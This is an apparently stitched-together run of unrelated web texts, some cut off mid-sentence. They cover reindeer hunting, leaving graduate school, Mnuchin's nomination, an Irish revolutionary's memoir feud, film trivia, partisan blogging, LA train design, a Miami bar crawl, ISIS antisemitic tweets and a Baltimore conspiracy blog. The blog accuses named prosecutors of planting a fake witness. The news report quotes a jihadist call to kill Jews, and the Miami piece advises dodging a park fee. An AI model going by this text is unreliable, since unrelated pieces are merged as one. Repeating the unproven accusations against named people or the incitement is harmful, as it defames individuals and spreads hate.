Approximately 10,000 reindeer migrate over an area of 8,000 square kilometres on Hardangervidda, making it Norway's largest wild reindeer range. Nylend says the animals are shy and move around in larger and smaller herds depending on the weather. The hunting season began on August 20th and that also affects the animals' migration.
Some 8,000 hunting permits have been issued for Hardangervidda, but NNI expects that only about 30 percent of the issued quota will be taken.A former graduate student wrote me a note a few months ago to thank me for helping him drop out. What's wrong with that picture? Nothing, except that we don't see it often enough.
Not every graduate student will finish a dissertation. We know that truth to be self-evident. Nor should every graduate student finish. Some would be better off doing other things with their lives. Others simply can't complete the project.
The problem is that academic culture doesn't credit the decision to stop writing a dissertation as legitimate. In fact, leaving graduate school has a reputation a lot worse than that. I've met many people over the years who have dropped out as ABD's, and not one has ever presented the decision better than apologetically. Many see it as a personal failure—like the student who confessed, "I haven't lived up to the investment that the university made in me." Graduate-school administrators collect untold fortunes in "open file fees" from people who pay to keep their student status alive for five, 10, even 20 years after they've left the university, all in order to say (mostly to themselves) that they're still at it.
They stay because the unfinished dissertation is like the wound of Philoctetes in Greek mythology, a festering sore that never goes away. No mere albatross, it stigmatizes its owner in ways that usually leave permanent scars. Philoctetes himself was ostracized, and he became a suffering hero of tragic theater.
The sociologist Erving Goffman describes stigma as when a person "is disqualified from full social acceptance." Graduate students are already marginal by virtue of being apprentices, but a foundering dissertation compromises their status even further. With stigma, says Goffman, "shame becomes a central possibility."
No wonder struggling graduate students rarely consider leaving. Watching someone tread water in Lake Dissertation (as one clear-eyed student aptly put it) is one of the more painful sights in academe, but it will remain an all-too-common spectacle given the stigma attached to the alternative.
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The good news is that Ph.D. completion and attrition rates have gained more attention in recent years. The bad news is that the problem is being viewed almost entirely in administrative terms. A 2007 study by the Council of Graduate Schools showed, among other things, that most attrition from doctoral programs occurs in the first few years, not at the dissertation stage—a disturbing finding (because the dissertation stage is much longer) but an important one. The related subject of time-to-degree has also come under deserved scrutiny. In one of the more polemical contributions to that discussion, Harvard University's Louis Menand recommends revamping the structure of the dissertation to make it shorter, more practical, and less research-driven.
We can only benefit from examining our degree-granting practice, but let's not forget that this is foremost a teaching issue. Graduate students will never see leaving a Ph.D. program as a viable choice unless we honor that choice ourselves. Right now we allow—and through our passivity even promote—the sense that someone who doesn't finish is a quitter.
These are our students. All of them, including ones who are stuck. We have a responsibility to teach them. That means it's on us. Most professors recognize when graduate students won't finish, but mostly we do nothing. We need to talk to our struggling graduate students, not treat them as though they were invisible. We need also to start a conversation about them.
How then should we teach the students who are destined to run aground? Students who aren't going to finish have certain specific needs that we can identify and try to meet. Here are a few suggestions to start.
If you love them, let them go freely. Our job is to lead students toward the finish line, but it's also to let them choose their own finish line. (How to help a struggling graduate student actually complete the dissertation will be the subject of the sequel to this article, next month.)
Our job is to lead students toward the finish line, but it's also to let them choose their own finish line. (How to help a struggling graduate student actually complete the dissertation will be the subject of the sequel to this article, next month.) But let's assume that you and your student have done all you can, and that the dissertation is still foundering. In that case, it may be time to ask, "Are you having trouble hanging on, or letting go?" I've asked that of students more than once in my career, and the initial response is usually, "Wow, good question." Indeed, it is a question many graduate students should consider, and it can serve as the proverbial mustard seed. Advise the student, not just the dissertation. Most graduate students are young grown-ups who are still making major life choices. Some of those choices, such as the need to support a young family, may lead away from dissertation completion.
Most graduate students are young grown-ups who are still making major life choices. Some of those choices, such as the need to support a young family, may lead away from dissertation completion. Sometimes I have to remind myself that it's the student's dissertation, not mine. We can often help students navigate past research or writing problems, and we should always try. But if the dissertation is not going to get done, the adviser needs to let go of it, no matter how significant a contribution the work might make if it were ever to see the light of publication. Understand the power of your approval. "Who's your dissertation adviser?" is one of academe's FAQ's, but its outward benignity conceals the assumption that if you work hard and all goes well, you will be prized one day as your adviser's scion. Graduate students seek their advisers' approval all the time, and invariably believe that if they leave the program without a Ph.D. they'll be letting their advisers down personally.
"Who's your dissertation adviser?" is one of academe's FAQ's, but its outward benignity conceals the assumption that if you work hard and all goes well, you will be prized one day as your adviser's scion. Graduate students seek their advisers' approval all the time, and invariably believe that if they leave the program without a Ph.D. they'll be letting their advisers down personally. I once sat a student down and told her that I would be as proud of her if she left the program to work full time at the nonacademic job she loved as I would be if she stayed and finished her thesis. She looked stunned. When she recovered herself, she thanked me profusely. She hadn't felt free to choose before. ABD does not equal failure. All graduate students embark on the dissertation with the idea of finishing it, but sometimes it's better for them to cut their losses. Erasing the stigma attached to the unfinished thesis starts with us. If we accept that leaving school can be a better decision than staying, we need to treat it that way.
There are plenty of good reasons for putting a dissertation aside. One student might be unable to cure himself of perfectionism, while another might so dislike research that she can't make herself do it. Another might be put off by the terrible academic job market. Many students make those self-discoveries during the dissertation phase, but the insights can take a while to sink in.
Faculty mentors (particularly of fully funded students) sometimes compound the problem by choosing not to discuss with their advisees the signs of possible problems down the road. "Time to degree" imperatives push us to say, "Onward, onward," no matter the cost or consequences, but we should check that impulse. Talking to students about their work can include asking them if they're having trouble doing it. Those conversations may give them their lives back, sometimes after years of unexamined suffering. If we teach students that leaving graduate school is a decision and not a failing, we can start to erase the stigma that so wrongly attends withdrawal.
Most of my advisees finish their dissertations and get jobs. I'm proud of that. But some walk away—and of that I'm just as proud. Not everyone gets a Ph.D., but everyone who tries deserves our attention and respect. Teaching students how to leave graduate school is a task every bit as noble as shepherding them through it.Donald Trump has nominated Steven Mnuchin, a Goldman Sachs banker-turned-Hollywood movie financier with no government experience, as US Treasury secretary.
Mnuchin, a multimillionaire who was dubbed a “foreclosure king” for buying up distressed mortgages and evicting thousands of homeowners during the financial crisis, immediately announced he would oversee “the largest tax change since Reagan” and said his “No 1 priority is tax reform”.
As well as cutting personal taxes, Mnuchin said the US corporate tax rate would be reduced from 35% to 15%. “By cutting corporate taxes, we’re going to create huge economic growth and we’ll have huge personal income,” he said in an interview with CNBC. “We’re going to get to 15% and bring a lot of cash back into the US.”
Facebook Twitter Pinterest Steven Mnuchin speaks to reporters at Trump Tower in New York. Photograph: Jewel Samad/AFP/Getty Images
Mnuchin said “taxes are way too complicated” and people spend “way too much time worrying about ways to get them lower”. He claimed that the proposed tax cuts would allow the US economy to achieve an annual growth rate of 3% to 4%.
Independent experts have said Trump’s proposed tax changes will hugely benefit the super-rich, while having little benefit, if any, for up to 8 million of the poorest families in the US.
Trump described Mnuchin as a “world-class financier, banker and businessman” who would have a “key role in developing our plan to build a dynamic, booming economy that will create millions of jobs”.
The appointment of Mnuchin appears to fly in the face of Trump’s campaign message chastising members of the business elite for causing the US’s ills and attacking Hillary Clinton for her close ties to Wall Street.
Mnuchin, 53, will replace the current Treasury secretary, Jack Lew, who spent most of his career in government or academia. Mnuchin will become the first career banker to take on the high-powered post since former Goldman chief executive Hank Paulson was appointed by George W Bush in 2006 and ran the US Treasury during the 2007-08 financial crisis.
He is worth an estimated $40m (£32m) and was in charge of raising funds for Trump’s successful election campaign. He was selected in preference to contenders including Jeb Hensarling, the chairman of the house financial services committee, Jamie Dimon, the chairman and chief executive of JP Morgan, and David McCormick, the president of asset management company Bridgewater Associates. The appointment must be confirmed by the Senate.
Mnuchin is the second Goldman alumnus appointed to a top position in Trump’s White House. Steve Bannon, the chairman of “alt-right” ( a far-right movement in the US) website Breitbart News, who ran Trump’s campaign, has been named chief strategist. He had previously worked as a mergers and acquisitions banker for Goldman.
During the campaign, Trump launched a TV advert that portrayed the Goldman chairman and chief executive, Lloyd Blankfein, as the personification of the global elite, saying he had “robbed our working class, stripped our country of its wealth and put that money into the pockets of a handful of large corporations and political entities”.
Trump could be about to add a third Goldman banker to his top team, with Gary Cohn, the bank’s president, being reportedly considered for the post of director of the Office of Management and Budget, in which role he would prepare the federal budget.
Cohn, who has long been seen as heir apparent to Blankfein as Goldman CEO, met the president-elect at Trump Tower on Tuesday. Several sources told DC blog Politico that the pair discussed a potential role for Cohn in the administration, including as OMB director.
Adam Hodge, the communications director at the Democratic National Committee, said: “So much for draining the swamp. [Mnuchin] preyed on homeowners struggling during the recession.”
10 economic consequences of Donald Trump's election win Read more
He said Mnuchin’s appointment was “a slap in the face to voters who hoped he [Trump] would shake up Washington”.
Elizabeth Warren, the Massachusetts democratic senator, called Mnuchin “the Forrest Gump of the financial crisis” because he “managed to participate in all the worst practices on Wall Street” during his lengthy career.
“His selection as Treasury secretary should send shivers down the spine of every American who got hit hard by the financial crisis, and is the latest sign that Donald Trump has no intention of draining the swamp and every intention of running Washington to benefit himself and his rich buddies,” she said.
Mnuchin had been nicknamed the “foreclosure king” after buying up the remains of IndyMac, a California-based mortgage lender that collapsed in 2008, and evicting people who had trouble keeping up with their mortgage repayments. In 2011, Bloomberg said the “notoriously press-shy” Mnuchin was faced with angry homeowners protesting on the lawn of his Bel Air mansion.
The revived bank, which Mnuchin called OneWest Bank, was accused by a judge of engaging in “harsh, repugnant, shocking and repulsive” practices. The Suffolk County judge Jeffrey Spinner ruled in court that OneWest’s conduct was “inequitable, unconscionable, vexatious and opprobrious” for the way it treated a Long Island couple in 2009. Mnuchin went on to sell OneWest last year for more than double what he paid the Federal Deposit Insurance Corporation for the assets in the teeth of the financial crisis.
Trump defended Mnuchin’s track record in distressed debt. “He purchased IndyMac Bank for $1.6bn and ran it very professionally, selling it for $3.4bn plus a return of capital,” Trump said. “That’s the kind of people I want in my administration representing our country.”
Mnuchin and his family also pocketed about $3.2m in profit from money invested with the convicted conman Bernie Madoff. The money was not returned to Madoff’s many destitute victims because the Mnuchin family had withdrawn the funds before Madoff was exposed as running a Ponzi scheme.
Mnuchin’s first job was at Goldman Sachs, where his father, Robert Mnuchin, had worked before changing careers to become an art dealer. The younger Mnuchin worked at Goldman for 17 years, rising to become a partner before leaving to launch film financing company Dune Capital Management, which has invested in several of Rupert Murdoch’s 21st Century Fox blockbusters, including Avatar. Dune Capital is named after beach dunes near his mansion in the Hamptons.
Speaking on Tuesday night, Robert Mnuchin, the founder of the Mnuchin Gallery on the Upper East Side, told the Wall Street Journal: “He’s a person of great integrity. [We] expect he will do a good job in this very exciting and demanding position.” The elder Mnuchin’s collection includes works by Mark Rothko, Willem de Kooning and Jackson Pollock.
Mnuchin, who has three children from a previous marriage, is engaged to the Scottish actor-producer Louise Linton, who has appeared in CSI: NY and Cold Case. Earlier this year, Linton, 34, was accused of having a “white saviour complex” in a memoir about her gap year as an aid worker in Zambia.
Mnuchin was educated at the $50,000-a-year Riverdale Country school in New York, and Yale University, where his roommate was Edward Lampert, who went on to become the chief executive of the company that owns Sears.
Donald Trump claims he is leaving his business interests 'in total' Read more
Trump also nominated Wilbur Ross as commerce secretary. The billionaire distressed-asset investor is a vocal Trump supporter, and has called for a “more radical, new approach to government” and an end to free trade deals.
“There’s trade, there’s sensible trade and there’s dumb trade. We’ve been doing a lot of dumb trade,” he has said. “The trouble with regional trade agreements is you get picked apart by the first country, then you negotiate with the second country and get picked apart, and then go with the third one and get picked apart again.”
Trump said Ross’s role would be “reducing burdensome government regulations and unleashing America’s energy resources will strengthen our economy at a time when our country needs to see significant growth”.
Ross, 79, is chairman and chief strategist of private-equity firm WL Ross & Co, a company known for deals that included combining bankrupt steel producers. Ross has also plunged into holdings of textiles and coal, at one time controlling 1.2bn tons of US coal reserves.
Trump also selected Todd Ricketts, a billionaire and co-owner of the Chicago Cubs, for deputy secretary of commerce. All the positions are subject to review and approval by the US Senate.A Man for all the Seasons
Among the surviving voices from the War of Independence, Séumas Robinson was an unusually loquacious one. While most Statements submitted to the Bureau of Military History (BMH) were content to begin with an overview of pedestrian facts – e.g. family history, early life and influences, any notable relatives – Robinson’s Statement started his with a playfully philosophical burst:
Somewhere deep in the camera (or is it the anti-camera?) of my cerebrum (or is it my cerebellum?), whose loci, by the way, are the frontal lobes of the cranium of this and every other specimen of homo-sapiens – there lurks furtively and nebulously, nevertheless positively, a thing, a something, a conception (deception?), a perception, an inception, that the following agglomeration of reminisces will be “my Last Will and Testament.[1]
As this quirky, almost singsong, opening sentence would suggest, Robinson was more than just another IRA veteran recalling his war stories for posterity and a pension. For one, he was a full-time staff member of the BMH, which would explain his confidence in beginning his Statement on his own terms instead of following the lead of his interviewer and answering from the list of pre-arranged questions.
Robinson had no time for that, what with the amount he had to say, pent-up as it was from the previous thirty years of silence. That the aforementioned agglomeration of reminiscences of his be known and recorded was a matter of utmost importance to him, despite his concern that he was not in a position to do them justice.
The stated reasons for his worry were many: he was no historian. He had been too close to the events to give them a proper overview like an historian should. History had to be full of facts, and facts were half-lies anyway, so what was the use of history in the first place? If Robinson had been present when Henry Ford had declared that history was more or less bunk, he would undoubtedly have nodded in appreciation (however shocked he would have been at the car tycoon’s atheism, given his devout Catholicism).
Robinson’s soliloquy as the prologue to his Statement is a rambling masterpiece of charming self-doubt, gentle self-deprecation and cheerful cynicism at the follies of man in thinking he can know his own past: “Only an angel can record the truth-absolute.”[2]
It is also a complete façade and one that did not take very long to drop. Robinson was to display throughout the rest of his Statement a very definite certainty in the idea of a truth-absolute, in this world as much as the one of angels, as well as a hot-blooded readiness to spring into attack should his place in history be threatened by unscrupulous and uncouth hoaxers.
And why not? His status was not inconsiderate. He had fought at the Easter Rising and helped change the course of Irish history. During the War of Independence, he had been commander of the Third Tipperary Brigade and then second-in-command to the Second Southern Division. In the theatre of politics he had been elected TD for Waterford-Tipperary East in 1920, had argued vigorously in the Dáil debates over the Treaty, against which he would take up arms against in the name of the Republic, and in the years of peace afterwards he was a Fianna Fáil Senator to the Seanad Éireann.
Patriot, guerrilla leader, elected representative, war hero, a historian for all his protests, and finally a statesman – Séumas Robinson had been a man of success in many a field. And yet he was to be constantly tormented, enraged and provoked into writing streams of vehement counter-attacks by the burning conviction that his colleague and brother-in-arms, Dan Breen, the arch-hoaxer, had, with the connivance of the cold-hearted and ungrateful people of Tipperary, fucked him over.
Kathleen Kincaid
Robinson’s contention was that Breen had falsely made several claims about his role in the War of Independence through his 1924 memoir, My Fight for Irish Freedom. It was a case he would make repeatedly, in his Statement and in the numerous letters he wrote to various newspapers or individuals and later collected in the appendix of his Statement.
Not all the letters were written by himself, for he had adopted an ally in his war of words: his sister-in-law, Kathleen Kincaid. While too young to contribute anything herself during the War of Independence, Kincaid was steeped in the struggle by virtue of her family home of 71 Heytesbury Street, Dublin. This had been used as a safe-house and meeting-place for those on the run, including many famous names such as Ernie O’Malley, Seán McBride and Liam Lynch, among others, and she claimed to have “met or saw and heard nearly everyone of the real fighting men” through this.[3]
Kincaid wore her address as a medal of honour; when the luckless editor of the Sunday Press refused to print an earlier letter on the grounds of excessive length, Kincaid began her response by unsheathing the sharp edge of her research skills:
Dear Mr Feehan, As you see, I have learned your name. I have also learned you are a South Tipperary man from Clonmel.
(The Dear Mr Feehan having omitted his name and address in his preceding rejection of her earlier letter, to no avail)
…and then by challenging him on his suspicious absence from the 71 Heytesbury Street Hall-of-Fame:
I met many men and some women from Clonmel in the old days of “71”; but I never heard of you. You must have been as young as myself – too young to do anything…What do you say?[4]
Feehan very sensibly did not venture an answer to that one.
Given her zeal for her brother-in-law’s cause, the historian Joe Ambrose decided that “Robinson clearly looked over Mrs Kincaid’s shoulder as she wrote” as if she was merely a convenient pen for Robinson.[5] But when comparing her letters with his, their writing styles were very different: his with a tendency towards long-windedness and waffling around the issue, while she wasted little time in getting to the point and going for the jugular. Whatever else one may think of the woman and her letters, she was a believer.
Making Claims
While not included in every letter of theirs, Robinson’s and Kincaid’s main points of contention were that Breen had been:
Never elected Brigade O/C and had never obtained rank above that of Quartermaster. Not present in the attacks on the RIC barracks at Drangan or Hollyford, or indeed in charge of any fight. Wounded ‘only’ two times – once below the collar-bone, and the other through the calf – and not twenty-two times as claimed. [6]
The first two points will be addressed further in the article. The third one is hard to prove either way without access to Breen’s medical history, but as two bullet-wounds are still two more than what most people have had in their lives, it was perhaps unduly petty on Robinson’s part to make an issue out |
, north-west, south and center of Paris. See more
Quotes
See more » Hubert : Heard about the guy who fell off a skyscraper? On his way down past each floor, he kept saying to reassure himself: So far so good... so far so good... so far so good. How you fall doesn't matter. It's how you land!
Alternate Versions In some English language subtitled (mainly American) versions the reference to the character of Said's friend who lives in the "posh towers" is 'Snoopy'. However, the untranslated dialogue says 'Asterix' and the woman who Vinz speaks to on the intercom laughs and says 'No, but his friend Obelix is here', whereas the translated version says 'No, but his friend Charlie Brown is.'. The reason Asterix and Obelix were changed to Snoopy and Charlie Brown in the subtitled version was because a lot of people are more familiar with those characters and possibly wouldn't understand the joke relating to Asterix and Obelix, which are two best friends in various French cartoon books by Goscinny & Uderzo. In some English language subtitled (mainly American) versions the reference to the character of Said's friend who lives in the "posh towers" is 'Snoopy'. However, the untranslated dialogue says 'Asterix' and the woman who Vinz speaks to on the intercom laughs and says 'No, but his friend Obelix is here', whereas the translated version says 'No, but his friend Charlie Brown is.'. The reason Asterix and Obelix were changed to Snoopy and Charlie Brown in the subtitled version was because a lot of people are more familiar with those characters and possibly wouldn't understand the joke relating to Asterix and Obelix, which are two best friends in various French cartoon books by Goscinny & Uderzo. See more18k SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
The big Bernie rallies are returning, but this time, Sen. Sanders will be campaigning in swing states to get Hillary Clinton elected president.
According to The Washington Post:
Sanders, who endorsed Clinton last month, ticked off a list of states that he is likely to hit in coming weeks, including some where he won primaries and caucuses (New Hampshire, Maine, Michigan and Wisconsin) and some where he fell short but ran strongly among key segments of the electorate (Ohio, Pennsylvania and Nevada).
….
Sanders said that during some of those visits he will also campaign on behalf of Democratic Senate candidates, including Katie McGinty in Pennsylvania, Ted Strickland in Ohio and Maggie Hassan in New Hampshire. He is also planning to campaign for other progressive down-ballot candidates, he said.
Bernie Sanders is staying true to his word that he is going to do everything he can to get Hillary Clinton elected. Sen. Sanders also said that he plans on campaigning for progressive candidates around the country as well as his work for Clinton and the Senate Democrats.
It is a smart move by both the Clinton campaign and Sen. Sanders to harness the energy of his rallies as the next step towards integrating Sanders supporters and their ideas into the Democratic Party. The Democratic platform has shown that Democrats are serious about welcoming Sanders supporters into the party. With Sen. Sanders transitioning his presidential campaign into a broader progressive movement, the return of the big rallies will not only help Hillary Clinton but also help Sanders keep the momentum going forward on his agenda as well.
Sen. Sanders can be a great help to both Hillary Clinton and the Democratic Party in the fall. His rallies were bigger and better than Trump’s events.
As if Donald Trump didn’t have enough problems, Sen. Sanders is hitting the campaign trail in the fall to get Hillary Clinton elected president and give Democrats back control of the United States Senate.
The Democratic primary had its moments, but Sanders and Clinton are demonstrating the sort of cooperation and unity that is non-existent in the Republican Party.
Togetherness is why Democrats find themselves in a great position to win in November.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:To accommodate the expanding Gold Line, Expo Line, and forthcoming Crenshaw Line--and also to replace an aging fleet--Metro is expecting a big order of new light rail trains in a few years. The transit agency is now experimenting with a new paint job for the cars, which if approved, will cover all the light rail trains that travel from Pasadena and Culver City and all points in between. The proposed new design features "Metro" supergraphics and reflective patterns "conveying motion and Southern California sunlight," according to The Source. The idea is to brand the trains, make them sleeker, and also ensure they reflect light so people don't walk out in front of them. "We are seeking to transform Metro's trains into gleaming, contemporary vehicles that express LA as a world class urban center," Jorge Pardo, Director of Art & Design for Metro's Creative Services, said. "We're creating safer trains and doing it with a sense of style that the world now expects of LA."
Jump to the 45-second mark:
[Video via Transit Coalition poster Gokhan]
· New light rail car designs in the works [The Source]It can be difficult to navigate Miami without occasionally ending up in a soulless situation, whether that be a generic hotel with $18 well drinks, or a supposedly authentic cantina hawking the uniquely disgusting South Beach stew of frozen margarita with two light beers dumped into it.
Here's a 12-hour itinerary that avoids such pitfalls, complete with Mafioso-worthy dives, bodega snacks, and a late-night expedition into the wild.
7–8 PM
ALLIGATOR BITES IN BISCAYNE BAY
The signature starter at Kush is doused in Old Bay seasoning and deep-fried. Yes, it may technically be made of alligator sourced from nearby Cypress Creek Farms, but once you dunk it in spicy mayo, it might as well be chicken. Just eat it—this is, after all, Florida. As owner Matt Kuscher tells it, he added it to the menu "to emphasize what we have that's unique and in our backyard, and what we have is plenty of alligator." Move on to the Key West Conch Salad and tuck into one of the house burgers—slathered in guava jelly or topped with pastrami—to prep for the long night ahead.
More to do nearby: Take a 15-minute ride out to Virginia Key to knock back a cheap beer and take in the full ocean view at the Wetlab, which is perpetually jam-packed with marine biologists (not weird, since it's attached to the University of Miami's Rosenstiel School of Marine and Atmospheric Science). Or cruise further into Key Biscayne and sip sangria at Boater's Grill, a locals' hangout tucked deep in the mangroves of the existentially named No Name Harbor.
8–10 PM
MOB DEN DRINKS IN MIAMI BEACH
In 1967, when Mafia lieutenant Thomas "The Enforcer" Altamura decided he'd had enough of his rival, Big Tony Esperti, he stuck a bomb in Happy's Stork Lounge while Esperti was there. The bomb exploded, but Big Tony—a former boxer who was once knocked out by Cassius Clay—emerged unscathed. Fifty years later, there's still a bombed-out vibe inside Happy's and the drinks are as stiff as ever. Don't forget to grab a few to-go purchases at the attached liquor store on the way out.
More to do nearby: Shuckers Waterfront Grill is a quick walk across the street. Order the dolphin sandwich (don't fret, it's the local word for mahi mahi) and the special grilled wings. Further east there's On the Rocks, a classic North Beach dive bar which once went for several months without a front door because a car slammed into it.
10 PM–12 AM
DIVE BAR CRAWL IN SOUTH BEACH
Drunk historians tend to argue whether or not Mac's Club Deuce is now the oldest bar in Miami (Bryson's Irish Pub is in the running for this title as well). Either way, on any given night at the Deuce it's not unusual to wind up talking to a guy with an eyepatch, a Keith Richards look-alike, or a full-blown lunatic. Luckily, everyone looks a little balmier in the glow of the neon lights lining the walls, which were installed for the filming of Miami Vice in the 1980s. They don't do special cocktails, but a shot of your personal poison is usually poured closer to two shots.
12–2 AM
DANCING IN SUNSET HARBOUR
Purdy Lounge is best described as a dive club. No cover, no bullshit. The series of 8-bit Street Fighter paintings over the DJ booth help set the mood at this extremely loud local favorite. Owner Dan Binkiewicz describes his bar as "a throw-down place where everybody leaves their troubles at the door," and suggests his patrons order a shot and a beer the second they walk in. On Sundays they serve a "Happy Meal" shot and beer for $8. No matter when you show up, you'll want to dance.
More to do nearby: The owner of the true dive Cucu's Nest tends to serenade guests in Turkish fairly frequently on karaoke night. If you show up, do yourself a favor and order an uncomplicated drink or beer, or else you might get a stanky look from the regulars.
2–3 AM
BODEGA CHICKEN SHACK IN SOUTH BEACH
Anyone who's gotten liquored up in South Beach and seeks fried chicken to restore order to their broken body inevitably winds up at Krispy Krunchy Chicken, a 24-hour drunk-food haven tucked inside a bodega. At this time of night, when the clubs are emptying, the line is long, rowdy, and worth the wait. It's a classic fried chicken joint, so you'll probably want to get a three-piece with mashed potatoes and mac-and-cheese.
3–6 AM
EVERGLADES EXPEDITION
Everglades National Park is about an hour and change by car from South Beach to the Everglades, but the Anhinga Trail is worth the trip: The most epic spot to see wildlife is located about a mile or so into the south entrance. Pack a cooler, bug spray, and a designated driver (or splurge on a car service). The sight of gators crawling on top of each other in the early morning is as creepy and bizarre as it is oddly wonderful, not unlike Miami itself. Pro tip: The park gate is generally open and the tender isn't typically on duty in the middle of the night, so it's often possible to skip the $25 entrance fee.
More to do nearby: On the way back into Miami, anything on 11th Street in the 24-hour entertainment district is the move at this hour, most notably The Corner, where you can get a sidecar and a stabilizing grilled cheese. Right across the street is E11even, a 24-hour burlesque club and your best bet to part with whatever cash you have left.
6:30–7 AM
MOONLIGHT BREAKFAST IN LITTLE RIVER
Given all the developers in Miami, greasy spoon diners are falling by the wayside. One of the last remaining holdouts is Jimmy's Eastside Diner, as seen in Moonlight. The film's poster is on the wall, and that's about the only thing that lets you know it's 2017. Throw yourself back in time, when hot coffee included free refills and even the heartiest breakfast rang in under $10.
All photos by Matias Vasquez.A Twitter post Thursday by supporters of the Islamic State of Iraq and Syria (ISIS), now calling itself the Islamic State (IS), has promised a Holocaust against the Jews.
“The Real Zionist Holocaust is Predicted in the Hadiths! The Hour [resurrection] will not take place until the Muslims fight the Jews and the Muslims kill them, and the tree will say: “Oh, Muslim, servant of God, there is a Jew behind me, kill him! THE PROMISED Holocaust,” a graphic posted on the @ISIS_Conquests’s Twitter account said.
This hadith has proven popular with Islamic extremists of all stripes, ranging from IS to Hamas – and even on television in the Middle East.
Daniel Pipes, an expert on jihadism, said the hadith likely was a recruitment tool.
“”‹Yes, “‹calling for a Holocaust against Jews refers to a violently anti-Semitic strain among jihadis and will surely appeal to some of them,” Pipes said in an email to the Investigative Project on Terrorism.
Anti-Semitic propaganda has played an important role in the terrorist group’s recruitment efforts. Its leader, Abu Bakr al-Baghdadi, placed Jews on the side of evil in a speech posted last Tuesday on the Internet in which he called on Muslims to join him.
“O ummah of Islam, the world today has been divided into two camps and two trenches … The camp of Islam and faith, and the camp of kufr (disbelief) and hypocrisy … all being led by America and Russia, and being mobilized by the Jews,” al-Baghdadi said.
In another such video released on Twitter, IS told jihadists to “Break the crosses and destroy the lineage of the grandsons of monkeys.”
Some jihadist supporters are calling on the group to open a new front against Israel.
“@ISIS_Conquests Hey #ISIS please do us all a favour & open up a front against Israel. Surely they are the greatest enemy of humanity?” Akhmet Qassam, a supporter from Scotland, asked the group on Sunday. Another Tweet read, “@ISIS_Conquests If you open up a front against #Israel I’m sure your numbers will increase hugely. Also give you some legitimacy.”
At the same time, IS may be growing cautious about drawing unwanted attention from Western intelligence and law-enforcement agencies even as it seeks new recruits.
“All Brothers and Sisters…Don’t meet with IS members while you’re living in the West…Move out of the West & than (sic) you get in touch with IS,” @Dawla_Newsmedia wrote a day after U.S. law enforcement caught Shannon Maureen Conley, a 19-year-old woman from Denver, trying to leave the U.S. to join the IS.On April 29th the Washington Post ran an explosive article highlighting information from a passenger who was inside the transport vehicle at the same time Freddie Gray was driven toward central booking. According to the Washington Post source: Freddie Gray was intentionally “trying to injure himself“.
On April 30th local Baltimore media outlet WBAL-TV introduced Donta Allen, a person they claimed was the passenger in the transport vehicle.
However, THEY ARE NOT THE SAME PERSON.
Our research indicates the office of Baltimore State Attorney, Marilyn Mosby, used or allowed one of her deputy State Attorneys, Janice Bledsoe (who was in charge of the investigation as assigned by Marilyn Mosby), to willfully and intentionally place a false story using Bledsoe’s lover, WBAL-TV reporter Jayne Miller, and thereby create a fictitious story to imply Donta Allen as the passenger outlined in the Washington Post story.
Yes, you read that correctly.
The full story: The Washington Post does not specifically name the passenger who heard Freddie Gray attempting to injure himself. However, they do provide details as to the identity – details we can independently confirm (emphasis mine).
A prisoner sharing a police transport van with Freddie Gray told investigators that he could hear Gray “banging against the walls” of the vehicle and believed that he “was intentionally trying to injure himself,” according to a police document obtained by The Washington Post.
The prisoner, who is currently in jail, was separated from Gray by a metal partition and could not see him. His statement is contained in an application for a search warrant, which is sealed by the court. The Post was given the document under the condition that the prisoner not be named because the person who provided it feared for the inmate’s safety.
The document, written by a Baltimore police investigator, offers the first glimpse of what might have happened inside the van. It is not clear whether any additional evidence backs up the prisoner’s version, which is just one piece of a much larger probe.
[…] Capt. Eric Kowalczyk, chief spokesman for the Baltimore Police Department, declined to comment on the affidavit, citing the ongoing investigation. The person who provided the document did so on condition of anonymity.
[…] The third stop was to put the other prisoner — a 38-year-old man accused of violating a protective order — into the van. The van was then driven six blocks to the Western District station. Gray was taken from there to a hospital, where he died April 19.
[…] The prisoner, who is in jail, could not be reached for comment. No one answered the phone at his house, and an attorney was not listed in court records. (link)
We can confirm a 38-year-old Black Male was picked up and transported in the same 04/12/15 timeframe as Freddie Gray for “Violate Exparte/Prot Order || Violation Of A Protective Order” – Listed in BPD arrest records.
Click image to enlarge
This aligns with the Washington Post article outline as reported last Wednesday (04/29).
The following day, April 30th, WBAL-TV reporter Jayne Miller presented an initially exclusive interview with the man she claimed was this passenger.
2nd prisoner in police van..telling us about the ride with Freddie Gray on the other side pic.twitter.com/shKzkuTG4h — Jayne Miller (@jemillerwbal) April 30, 2015
However, the man she presented, and named as Donta Allen: • Was not in jail. • Was 22-years-old. • Was not picked up for violating a protective order; and nothing about his description aligned with the prior report.
BALTIMORE —The other man who was loaded into the police transport van carrying Freddie Gray spoke out Thursday for the first time.
West Baltimore resident Donta Allen, 22, was the second man loaded into the police van near the end of the run on April 12.
He raised controversy with what he told police because he told them something he really he had to speculate on because he wouldn’t have known for sure.
“On the morning of April 12, I went into a store right here at Penn/North Avenue to get a cigarette,” Allen said.
Allen was picked up by city police at the corner of Pennsylvania and North avenues on a suspicion of stealing. The city’s camera system recorded the van that arrived and picked up Allen. It was the same van that was carrying Gray. (link)
Immediately national media reports began conflating the two “passengers” and claiming the Washington Post passenger was ‘walking back his statements’.
Like many people we were initially confused; and despite the age difference we thought Donta Allen was the Washington Post passenger quoted in the police affidavit. We were wrong.
Thanks to some additional research, digging and luckily with some anonymous Baltimore police talking on camera last night, we were able to connect the dots.
Donta Allen was not the passenger in the transport van as outlined by the Washington Post. Actually, Donta Allen was never in the van WITH Freddie Gray at all.
Despite Donta claiming on CNN with Don Lemon that he arrived in the Baltimore Booking Station “while overhearing police talking about Freddie Gray not breathing”, there’s absolutely no indication he was ever there on 4/12/15. Nor is there an arrest record, or a booking record, for him on that date.
UPDATE 5/2/15 @2:25pm : CNN’s Don Lemon was initially confused and needed to reach out to the Baltimore prosecutor to confirm the identity (CNN TRANSCRIPT):
DON LEMON: I spoke to him [Donta] yesterday. What people didn’t realize, I was out here talking to him yesterday [Thursday 4/30]. No one knew who he was. The records at the police station show that he’s still in jail. BROOKE BALDWIN: He was still in jail. But he’s not. LEMON: And he’s not. And that was the issue of getting it on yesterday. Because we had it yesterday, we had it first, but we want to be — I’d rather be accurate than first. And so, today, when we spoke with the prosecutor, they said, indeed, it is him. You’ll hear his story tonight. BALDWIN: OK, Don Lemon, great coverage. Thank you so much my friend. LEMON: Thank you, Brooke.” (link)
